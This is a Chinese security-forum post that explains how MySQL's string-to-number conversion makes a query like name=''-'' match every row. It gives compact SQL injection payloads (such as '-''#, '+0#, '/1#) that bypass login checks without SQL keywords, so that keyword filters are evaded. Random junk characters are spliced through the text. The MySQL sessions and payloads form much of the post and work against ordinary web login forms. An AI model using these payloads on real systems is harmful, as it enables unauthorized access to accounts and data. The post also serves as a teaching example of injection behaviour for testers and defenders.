找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2054|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。6 }. D) n9 P* ~* q* c) j
有以下表结构:
% s/ n# V8 M1 |0 Y3 U
, d+ I$ R7 ]! `, `! }2 fmysql> desc admin;# J) k/ Q" A8 e6 f
+----------+--------------+------+-----+---------+----------------+4 L& P5 d+ j# a9 D" [% f
| Field    | Type         | Null | Key | Default | Extra          |; V5 n9 l- A# I% |
+----------+--------------+------+-----+---------+----------------+
. q4 Z: B' J1 h( {7 A8 [| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |. N' w+ {" }1 w2 h2 c2 d1 f
| name     | char(32)     | NO   | UNI | NULL    |                |
0 s' L7 [5 _: T( g9 e& v1 l| password | char(32)     | NO   | UNI | NULL    |                |
6 W2 w6 e( e1 U7 x7 y8 m. _  F" d+----------+--------------+------+-----+---------+----------------+7 ?6 v8 Z: Z8 S7 k9 n3 {8 \0 w
3 rows in set (0.00 sec)( E  G. P, p- v8 O
执行select * from admin;,成功返回所有记录内容。
; H" y, Z0 Z) Y8 F! a. h7 Y6 h7 a" d* b4 v( j# G' _
$ C( U4 B! o; J; M8 }7 R% J
+----+--------+----------------------------------+! Y( ]5 c) M2 X; x7 r
| id | name   | password                         |
/ ~$ G0 [7 ]0 }+----+--------+----------------------------------+/ w1 P  T$ }# G# F
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
) t; E6 k- q% V' Y3 h|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
: v, J0 I; M+ H|  4 | n00b   | ff80e8508d39047460921792273533a4 |, y+ q6 [0 c6 R
+----+--------+----------------------------------+" b7 U! E, N" L7 f( q
3 rows in set (0.00 sec)
6 C" N. r- F& W执行select * from admin where name=”;,没有匹配到任何记录。
/ y6 W9 q+ w8 Q7 Y  ~1 F  G
, B( l/ H+ J- J7 m) }. hmysql> select * from admin where name = '';% F" J0 b" u0 w3 O
Empty set (0.00 sec)' h6 _% S2 R# p5 |
那么我们来执行select * from admin where name = ”-”;
6 P/ N+ n& Y% K8 y6 d# O7 F
! u( p, u! f* b) _( \
# [2 S& u; e2 Z7 a+----+--------+----------------------------------+2 I. i( v# ~8 m, l5 H2 ]
| id | name   | password                         |
1 U& a) z, b# V" X2 A* N$ W+----+--------+----------------------------------+& P, P1 s2 x: G8 J
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |$ X- x8 b0 e) _7 L  P5 I
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ D% R: j# o3 a1 I$ U0 i
|  4 | n00b   | ff80e8508d39047460921792273533a4 |6 b. b# O( l# N
+----+--------+----------------------------------+6 F# J$ t9 c, W9 s' M8 e
3 rows in set, 3 warnings (0.00 sec)
6 x$ l; J6 s; M, j- K" e# h可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
6 F- i5 s) ?# I9 y2 w" Z) }7 x5 ~' j/ {6 Z" \" J& @
mysql> show warnings;
, \5 U+ b+ y7 I$ Z% Q  A" F+---------+------+------------------------------------------
6 j& d( _9 ]& q( k' U| Level   | Code | Message
% T1 T% X* s  ], Z' f- R3 O+---------+------+------------------------------------------
5 j0 x) {) e7 q7 b7 h+ Q! W| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
0 A  d' z5 a% u7 c3 e7 D| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s$ S9 `$ U4 O$ O* z3 q. h
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b( G' c% r: L$ k$ i
+---------+------+------------------------------------------6 F2 E. a% i, y! q3 T' Z9 r% n4 X
3 rows in set (0.00 sec)& l2 \8 r! m$ K7 b' @; X2 e
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
, \, N' u9 t/ E
7 M) g( q" s9 h7 [% \/ Smysql> select ''-'';
4 A7 m5 I' p, u4 o  A. K" V+-------+
( I8 S) l0 u% @# |0 J! _7 U0 s| ''-'' |
' x8 W) G$ N- R! f4 m+-------+! Q0 A; t% r! z' V8 S: M: ~3 c
|     0 |
% p2 J1 o& K% y& x+-------++ _) u, k. F( Z! e, f
1 row in set (0.00 sec)9 y( w9 o  Q+ t8 K
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:   |6 E1 j! R4 A6 a
6 O3 p0 S; j7 e, c
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
* Q" k+ a* q6 \( K- N" r. }, D+-----------------------------------------------------+7 R- p$ Y. H- `" C' Z
| CAST((select name from admin limit 1,1) as DECIMAL) |4 f4 [! Q1 R; F  @
+-----------------------------------------------------+4 {* o1 d; J/ Q% Z" h
|                                                   0 |
# r3 S0 b* B7 U. b9 d# P+-----------------------------------------------------+
3 h, H' S3 R& g1 row in set, 1 warning (0.00 sec)
+ o/ K  N& l. }2 l因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 s5 V9 E0 D  ^/ t- F
- R4 U- X  w0 ]4 e$ F0 j
SQL注入场景: http://www.sqlzoo.net/hack/
2 A7 I2 u8 n, w
* P4 g; k2 g1 s' h8 S! {
# S6 \0 `0 [! ]+ a" l
  G  L( C! ^. Y: G) |% d+ @; V( L! M6 D* q) i8 N3 m
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; s% q' E! y9 c! \: I: U- z
- ^) S* z4 J- O; S: H& ]* T
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 1 y0 t' y" s, |. S: h
1 t: o) H2 K- G( [& U: W
# o; S1 [2 y/ [1 Y& g8 J9 R) L

  f" H1 q' _( v+ i- [* w+ h% f3 k. I* ?! H8 I$ U
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . L5 {% W7 h+ X" K' L

" C( C0 h: c0 `* ~) y0 ?   
. n" [% y* t" w' D" e/ u+ s
8 ?  E( H/ w5 h除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可0 o  }/ F1 f! B0 i1 W$ @
! C! G. p& N( W* |, I" r, [

6 f* N" `0 w4 ]) @" imysql> select ''/1;4 `9 t1 ]0 q6 ?0 _# n1 L
+------+
* f9 x$ z+ ^6 Z( b8 T6 d| ''/1 |
6 x6 V) |! p% o+ ~' [6 ]0 j7 g+------+3 J) y* H$ g0 X) o% l5 u4 n
|    0 |
) s1 r& H) R' c% D& J; h* H+------+
2 P. o7 }, @6 x; z; Q1 row in set (0.00 sec)6 _% K2 X6 ]5 U3 b, b6 F  o1 Y
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
4 H% b  L5 V2 w4 C9 N, I
; J9 V( G+ o4 A5 o9 q9 H利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。! O+ I1 d6 s9 W5 R, f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表